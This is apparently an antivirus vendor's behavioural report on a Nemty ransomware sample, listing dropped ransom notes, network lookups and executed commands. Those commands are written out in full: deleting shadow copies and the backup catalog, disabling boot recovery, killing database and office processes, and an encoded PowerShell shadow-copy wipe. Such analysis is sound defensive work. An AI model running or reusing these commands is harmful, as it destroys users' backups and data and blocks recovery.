Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\nemty_pex4aud-decrypt.txt
- <Drive name for removable media>:\correct.avi
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /f /im sql.*
- '%WINDIR%\syswow64\net.exe' stop DbxSvc
Modifies file system
Creates the following files
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\917b685c402c569c7ef15953ac01f631_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d860c3add425c732002dea04eb2c98f0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- C:\nemty_pex4aud-decrypt.txt
- C:\documents and settings\nemty_pex4aud-decrypt.txt
- D:\nemty_pex4aud-decrypt.txt
- C:\far2\nemty_pex4aud-decrypt.txt
- C:\far2\addons\nemty_pex4aud-decrypt.txt
- C:\far2\addons\colors\nemty_pex4aud-decrypt.txt
- C:\far2\addons\colors\custom_highlighting\nemty_pex4aud-decrypt.txt
Network activity
TCP
HTTP GET requests
- http://ap#.#pify.org/
- http://ap#.#b-ip.com/v2/free/95.211.190.198/countryName
UDP
- DNS ASK ap#.#pify.org
- DNS ASK ap#.#b-ip.com
- DNS ASK ne##y10.biz
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=unbounded' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=unbounded' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=401MB' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=unbounded' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=401MB
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete
- '%WINDIR%\syswow64\cmd.exe' /c net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=unbounded
- '<SYSTEM32>\vssvc.exe'
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=A: /on=A: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=A: /on=A: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=unbounded
